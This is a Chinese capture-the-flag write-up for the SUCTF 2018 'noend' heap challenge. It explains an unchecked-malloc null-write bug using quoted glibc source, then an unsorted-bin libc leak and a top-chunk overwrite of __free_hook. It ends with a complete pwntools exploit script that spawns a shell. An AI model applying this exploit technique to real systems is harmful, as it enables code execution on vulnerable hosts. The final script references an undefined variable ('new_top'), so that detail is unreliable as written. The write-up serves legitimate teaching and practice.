suctf2018-noend

基本逻辑

main函数

函数逻辑比较简单,用户输入size,程序就分配size大小的chunk,接着用户向新分配的chunk内写入内容,程序在终端显示。当size小于等于0x7f时,就释放该chunk。

漏洞分析

乍一看,“咦,平时我们不都这么写吗”。实际上,在malloc之后要对返回值进行检查。如果malloc出错了,后续的操作很有可能超出我们的控制。

下面这个函数就是当调用malloc时执行的函数,它会首先获取一个分配区(arena_get),然后调用_int_malloc分配内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void *
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;

void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));

//获取分配区
arena_get (ar_ptr, bytes);
//分配内存
victim = _int_malloc (ar_ptr, bytes);
/* Retry with another arena only if we were able to find a usable arena
before. */
//分配失败时,换到其他分配区内分配
if (!victim && ar_ptr != NULL)
{
LIBC_PROBE (memory_malloc_retry, 1, bytes);
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}

if (ar_ptr != NULL)
(void) mutex_unlock (&ar_ptr->mutex);

assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
ar_ptr == arena_for_chunk (mem2chunk (victim)));
return victim;
}

由于noend程序中对输入的大小没有做限制,如果尝试输入一个很大的值,该值大于mmap分配的内存块设定的最大值(n_mmaps_max),malloc在使用_int_malloc分配内存时,由于从fast bins,last remainder,small bins,large bins和top chunk都分配失败时,会调用sysmalloc函数,下面是对sysmalloc的简化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
//由于输入的值已经大于n_mmaps_max,不会进入此处执行
……
}
……
if (av != &main_arena)
{
//考虑初始情况下都是在main_arena中进行分配,此处也不会执行
……
}
else /* av == main_arena */
{ /* Request enough space for nb + pad + overhead */
size = nb + mp_.top_pad + MINSIZE;

if (contiguous (av))
size -= old_size;

size = ALIGN_UP (size, pagesize);

if (size > 0)
{
//sbrk(MORECORE)是通过将数据段的下界移动来分配连续内存,当size很大时,sbrk将会失败:MORECORE_FAILURE
brk = (char *) (MORECORE (size));
LIBC_PROBE (memory_sbrk_more, 2, brk, size);
}

if (brk != (char *) (MORECORE_FAILURE))
{
……
}
else
{

if (contiguous (av))
size = ALIGN_UP (size + old_size, pagesize);


if ((unsigned long) (size) < (unsigned long) (MMAP_AS_MORECORE_SIZE))
size = MMAP_AS_MORECORE_SIZE;

if ((unsigned long) (size) > (unsigned long) (nb))
{
//使用MMAP分配size大小的连续内存
char *mbrk = (char *) (MMAP (0, size, PROT_READ | PROT_WRITE, 0));

if (mbrk != MAP_FAILED)
{
……
}
}
}

if (brk != (char *) (MORECORE_FAILURE))
{
……
}
} /* if (av != &main_arena) */

……

/* finally, do the allocation */
p = av->top;
size = chunksize (p);

//当前top大小为size,与申请分配的大小nb+MINSIZE比较
/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
……
}

/* catch all failure paths */
__set_errno (ENOMEM);
return 0;

当试图申请一块巨大的内存时,sbrk和mmap都会失败,最终_int_malloc将会return 0。__libc_malloc对返回值进行判断,如果返回为0且分配区不为空时,就调用arena_get_retry重新获取一个新的分配区,并在新的分配区里分配内存。奇怪的是,如果此时_int_malloc又一次分配失败返回0,__libc_malloc也不会有其他操作了,直接返回0(assert中的!victim返回1)。返回0之后,下面几句执行起来就会有问题:

1
2
3
buf = malloc(size);
read(0, buf, size);
*((_BYTE *)buf + size - 1) = 0;

由于malloc返回了0,buf的值为0,read就是向0中写入内容,而*(buf+size-1)=0这一块,相当于向*(size-1)中写入0。

漏洞利用

地址泄露

_int_free函数中,会对要释放的chunk的size做检查,检查发生在已经与前后块合并完成之后:

1
2
3
4
5
if ((unsigned long)(size) >= FASTBIN_CONSOLIDATION_THRESHOLD) {
if (have_fastchunks(av))
malloc_consolidate(av);
……
}

如果size大于设定的阈值,就会对fastbin进行合并(malloc_consolidate)。合并之后的块会放入到unsorted bin中(具体可以查看malloc_consolidate的源码),这时候将有机会利用unsorted bin泄露libc地址。

由于本题只对小于0x80的内存进行free,而且释放fastbin大小的块时是不会走到malloc_consolidate这一步的,所以可以通过malloc(0x7f)来触发malloc_consolidate:实际会分配0x90大小,属于small bin,释放的时候会与top合并,此时由于size大于阈值,由此触发fastbin合并操作。所以在0x7f之前再申请几块fastbin的内存。

注:fastbin的块即使在释放之后,P位也不会置0,在malloc_consolidate才会置0。

如果分别申请0x20和0x30,在合并之前它们分别呆在不同的fastbins里,然后执行malloc_consolidate

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
maxfb = &fastbin (av, NFASTBINS - 1);
fb = &fastbin (av, 0);
do {
p = atomic_exchange_acq (fb, 0);
if (p != 0) {
do {
check_inuse_chunk(av, p);
nextp = p->fd;

size = p->size & ~(PREV_INUSE|NON_MAIN_ARENA);
//根据size找到下一块及大小
nextchunk = chunk_at_offset(p, size);
nextsize = chunksize(nextchunk);
//如果前一块是空闲块,合并
if (!prev_inuse(p)) {
prevsize = p->prev_size;
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
//下一块不是top
if (nextchunk != av->top) {
nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
//下一块时空闲块,合并
if (!nextinuse) {
size += nextsize;
unlink(av, nextchunk, bck, fwd);
} else//下一块不是空闲块,将下一块中记录本块是否空闲的P位置0
clear_inuse_bit_at_offset(nextchunk, 0);

//将p放入到unsorted bin当中
first_unsorted = unsorted_bin->fd;
unsorted_bin->fd = p;
first_unsorted->bk = p;

if (!in_smallbin_range (size)) {
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}

set_head(p, size | PREV_INUSE);
p->bk = unsorted_bin;
p->fd = first_unsorted;
set_foot(p, size);
}
//下一块是top,合并
else {
size += nextsize;
set_head(p, size | PREV_INUSE);
av->top = p;
}

} while ( (p = nextp) != 0);
}
} while (fb++ != maxfb);
}

即0x20(实际0x30)的块先放入unsorted bin,此时它的fd和bk已经写好,然后0x30(实际0x40)的块先与0x20的块合并,然后又与后面的top合并,原来0x20的头变为top头。

heap

此后再分配一块内存并写入前8字节,就能读取到原来0x20的bk指针了,由此泄露地址。

劫持执行流

参考Ne0出题人大佬的wp,用到了一个神奇的方法:事先写好一个字段作为top的大小,值为:free_hook-top_addr + system_addr,然后再从top分出free_hook-top_addr (大概为这个值)大小,并添加一些偏移,使得分配之后的top头中size字段正好能落在free_hook上,即将system_addr写入到free_hook。

之前在主分配区泄露了libc的地址,同样,我们也能泄露切换之后的分配区的top地址。由于非主分配区的malloc_state不会像主分配区的malloc_state一样存放在libc里,而是在非主分配区的堆中,所以泄露地址时bk记录的是unsorted bin的地址,也就是实际内容-0x10处,而这个位置恰好是记录top地址的字段,由于都是在堆上,便可以由偏移计算出top的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
[*] new_ub:0x7f7168000078 #泄露出的地址
……
pwndbg> x/8gx 0x7f7168000078
0x7f7168000078: 0x00007f71680008e0 0x0000000000000000 #0x00007f71680008e0就是top的地址
0x7f7168000088: 0x00007f7168000078 0x00007f7168000078 #ub的FD和BK
0x7f7168000098: 0x00007f7168000088 0x00007f7168000088
0x7f71680000a8: 0x00007f7168000098 0x00007f7168000098

pwndbg> x/8gx 0x00007f71680008e0 #新的top
0x7f71680008e0: 0x0000000000000000 0x0000000000020721
0x7f71680008f0: 0x0000000000000000 0x0000000000000000
0x7f7168000900: 0x0000000000000050 0x0000000000000044
0x7f7168000910: 0x0000000000000000 0x0000000000000000

这个header的前八个字节恰好是记录top的地址,而实际上这个header是不存在的,这里画出来是便于理解。

上面提到的事先写好一个字段为top的大小,然后是要通过malloc的漏洞,向某处写一个0。这个某处就可以是top的地址处,这样能让top向前提升几个字节,提升后能使top的大小正好为free_hook-top_addr + system_addr,之后再次malloc就会从修改后的top处分配内存,完成将system的地址写入到free_hook中。这里需要对写入的内容加入一些偏移,使得top的size字段对应于free_hook。

利用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import *
import time
context.log_level='debug'

p=process('./noend')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

def routine(size,content):
p.sendline(str(size))
time.sleep(0.3)
p.send(content)
p.recvuntil(content)

routine(0x20,'0gur0')#0
routine(0x30,'0gur1')#1
routine(0x7f,'0gur2')#2
routine(0x20,'0'*8)
#泄露地址
data = u64(p.recv()[:8])
offset = 0x7f7c2d6dbb78-0x7f7c2d317000
libc_base = data -offset
sys_addr = libc_base + libc.symbols['system']
log.info('sys_addr:%#x '%sys_addr)

#发送一个很大的size,从而切换到非主分配区
p.sendline(str(libc_base+libc.symbols['__malloc_hook']))
time.sleep(0.3)
p.sendline()
p.recvline()
p.clean()
#泄露非主分配区记录top字段的地址
routine(0x20,'0gur0')#0
routine(0x30,'0gur1')#1
routine(0x7f,'0gur2')#2
routine(0x20,'0'*8)
new_ub = u64(p.recv()[:8])
log.info('new_ub:%#x '%new_ub)

#其中new_ub+0x868对应于top的地址,注意new_top是记录这个值的地址
#+0x20是在top提升之后对应的地址
#-0x8是考虑到malloc时会向16对齐的问题
routine(0xf0,p64(sys_addr+libc_base+libc.symbols['__free_hook']-(new_ub+0x868+0x20)-0x8)*(0xf0/8))
p.sendline(str(new_ub+1))
time.sleep(0.3)
p.sendline()
p.recvline()
p.clean()

#设libc_base+libc.symbols['__free_hook']-(new_top+0x868+0x20)为offset,即当前top与free_hook之间的偏移为offset
#则上一步将top的size写成offset-8+sys_addr,此处分配了offset-16的大小
#在调试时查看到offset是以8结尾的,则malloc(offset-16),会进行(offset-16+8)对16向上取整,即实际分配offset-8大小的内存,则top的size恰好就变为sys_addr,而分配了offset-8之后,top地址正好挪到了free_hook-8处,则size正好写在了free_hook处
routine(libc_base+libc.symbols['__free_hook']-(new_top+0x868+0x20)-0x10,'a'*8)
routine(0x10,'/bin/sh')
p.interactive()